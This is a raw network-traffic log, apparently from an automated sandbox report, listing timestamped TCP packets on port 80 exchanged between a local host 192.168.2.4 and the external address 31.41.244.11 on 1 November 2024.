Nov 1, 2024 10:57:10.610512972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610524893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610528946 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610543966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610564947 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610774040 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610786915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610797882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610810995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610815048 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610824108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610830069 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610836983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610848904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610852003 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610860109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610866070 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610887051 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610918045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610919952 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610929966 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610958099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610965014 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610965967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610985041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611001968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611012936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611021042 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611023903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611037970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611037970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611052990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611056089 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611066103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611088991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611120939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611160040 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611222982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611236095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611247063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611259937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611262083 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611270905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611273050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611284971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611294031 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611295938 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611310005 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611327887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611350060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611363888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611376047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611386061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611406088 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611418962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611520052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611531019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611541033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611551046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611562014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611567974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611572981 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611584902 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611588955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611602068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611604929 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611619949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611623049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611632109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611644030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611644030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611655951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611663103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611673117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611682892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611685991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611694098 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611695051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611712933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611716032 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611727953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611737967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611737967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611749887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611751080 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611762047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611773014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611774921 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611783028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611793995 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611798048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611809969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611813068 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611820936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611831903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611834049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611845970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611852884 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611865044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.611871004 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611890078 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.611907005 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612071991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612083912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612093925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612106085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612118006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612122059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612124920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612132072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612137079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612160921 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612168074 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612171888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612185001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612195015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612207890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612219095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612220049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612231016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612240076 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612243891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612257004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612260103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612268925 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612270117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612282038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612292051 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612307072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612327099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612488985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612499952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612510920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612521887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612534046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612545013 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612545967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612560987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612560987 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612576962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612577915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612601042 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612633944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612644911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612657070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612668037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612673044 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612673044 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612682104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612683058 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612694979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612706900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612718105 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612756968 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612823009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612835884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612845898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612857103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612863064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612869978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612879038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612881899 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612895012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612905025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612906933 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612916946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612927914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612929106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612941980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612942934 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612953901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612958908 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612966061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612977982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612982988 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.612989902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.612999916 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.613003016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.613017082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.613034964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.613048077 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.631867886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.631933928 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.631937981 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.631973982 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.631990910 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.632003069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.632025003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.632030010 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.632035971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.632071972 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.632096052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698162079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698179960 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698189020 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698230028 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698250055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698260069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698270082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698285103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698295116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698304892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698307037 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698316097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698321104 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698334932 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698353052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698556900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698597908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698600054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698612928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698635101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698649883 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698657036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698677063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698694944 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698714972 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698718071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698728085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698741913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698750019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698757887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698765039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698767900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698796034 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698796034 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698797941 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698821068 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698828936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698834896 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698841095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698849916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698864937 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698874950 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698899031 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.698928118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698936939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.698973894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.699065924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699074984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699084044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699120045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.699140072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699151039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699158907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699173927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699182987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699191093 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.699192047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699198008 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.699219942 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.699229956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.699381113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699390888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699399948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699429989 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.699439049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.699501991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699512005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699521065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699551105 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.699558973 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.699624062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699651957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699661016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699693918 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.699698925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699708939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699743032 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.699793100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699803114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699811935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699831963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699841976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699841976 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.699851990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.699856997 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.699868917 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.699883938 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.700058937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.700067997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.700077057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.700103998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.700115919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.700189114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.700198889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.700206995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.700217009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.700232029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.700253963 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.700376034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.700386047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.700401068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.700409889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.700418949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.700421095 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.700429916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.700457096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.700457096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.700465918 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.700483084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.700494051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.700501919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.700529099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.700536966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.701396942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701406956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701416016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701442003 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.701455116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.701486111 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701494932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701503038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701513052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701524019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701529980 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.701544046 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.701555967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.701575994 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701591969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701601982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701631069 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.701643944 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.701675892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701685905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701697111 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701725006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.701735973 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.701828003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701838017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701850891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701860905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701869965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701877117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701885939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.701886892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701898098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701905966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.701919079 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.701932907 CET	49820	80	192.168.2.4	31.41.244.11
